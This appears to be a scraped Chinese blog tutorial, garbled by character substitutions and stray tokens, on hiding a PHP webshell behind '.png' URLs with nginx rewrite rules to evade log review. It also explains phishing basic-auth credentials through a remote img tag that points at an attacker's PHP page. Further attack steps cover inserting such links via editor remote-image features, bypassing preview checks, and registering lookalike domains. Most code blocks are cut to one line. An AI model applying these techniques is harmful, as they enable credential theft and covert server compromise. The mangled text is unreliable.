你们都知道apache,nginx等有rewrite的功能,经过rewrite规则能够把输入的URL转换成另外一个URL,这是咱们常见的一种需求,可让咱们的url变得更加简洁。可是其实这个功能也可被用于一些别的目的。下面就简单的介绍一下。php
关于经过配置文件作后门已经有不少文章有了介绍,即.htaccess和.user.ini文件构造后门,关于.htaccess后门能够看这里,user.ini后门P牛也发过一篇文章,能够看这里,固然还有柠檬师傅的php.ini构成的后门。那么跟rewrite有什么关系呢。其实rewrite主要是为了逃避日志审查
,经过rewrite,咱们能够经过访问一个图片后缀的文件来执行咱们的webshell,可是修改这些配置文件须要必定的权限
。下面来进行一下简单的介绍。测试的时候主要是使用nginx,因此对nginx进行一下介绍,关于apache的配置有兴趣能够本身去查一波。下面是个人配置:
ngingx.confcss
1 |
worker_processes 1; |
配置了多个域名的配置,因此针对某个域名的配置文件在vhosts里面,要配置的域名的配置文件:mydomain.confhtml
1 |
server { |
要配置重定向很简单,只须要加入nginx
1 |
location ~ \.png$ { |
意思是匹配以png结尾的url,若是匹配到 img/test.png,则重定向到 img/test.php,因此,只须要在img目录下存放test.php,咱们就能够经过访问 http://domain.com/img/test.png来访问。以下图:git
关于更多匹配的规则,能够看这篇文章。github
配置完须要重启nginx服务。web
关于基础认证钓鱼,其实很早以前就已经有文章介绍过了,好比如何制做基础认证钓鱼页面。其实原理就是在页面中插入一个php的img,即:shell
1 |
<img src="http://site.com/1.php"alt="Could not load image - Invalid credentils."/>> |
php的代码就是401的验证,当用户打开这个页面的时候,因为请求了http://site.com/1.php,因此会弹出验证的页面,用户输入帐号密码以后,密码则会被攻击者记录。apache
注:这种方法适用于Firefox和IE浏览器,Chrome并不会弹出基础认证窗口。浏览器
为了让此攻击达到更好地隐蔽效果,咱们可使用rewrite来重写url。则使得访问的连接文件后缀为一个图片。为了达到更好地攻击效果,写了如下php代码:
1 |
|
代码的功能就是弹出认证窗口,等待用户输入,并将输入的帐号密码存到count.txt,若是此用户输入已达3次(一次输入多是随便输入的帐号密码),则输出正常图片。演示以下:
固然,你能够本身定义其余功能,好比将帐号密码发送到邮箱等等。
php代码写好了,怎么利用呢?
其实咱们要作到就是找各类编辑器,找那种能够远程插入图片的,而后插入咱们的连接,若是网站直接把连接插入网站,那么在加载的时候,就会加载咱们的验证页面。rewrite除了可让后缀看起来是一个图片文件,其实还能够对一些编辑器进行绕过,好比插入远程图片的时候,编辑器对图片进行预览:
碰到这种状况,咱们能够首先使用默认配置的nginx插入图片,以下图:
插入成功并提交之后,再从新修改rewrite。这样能够进行一些绕过。某种情景的攻击以下:
demo:
为了达到更好地效果。攻击者能够注册一个看起来受信任的域名。好比说,若是攻击者的目标是targetdomain.com,那么他就能够注册以下的相似地址:
1 |
targetdomain.co |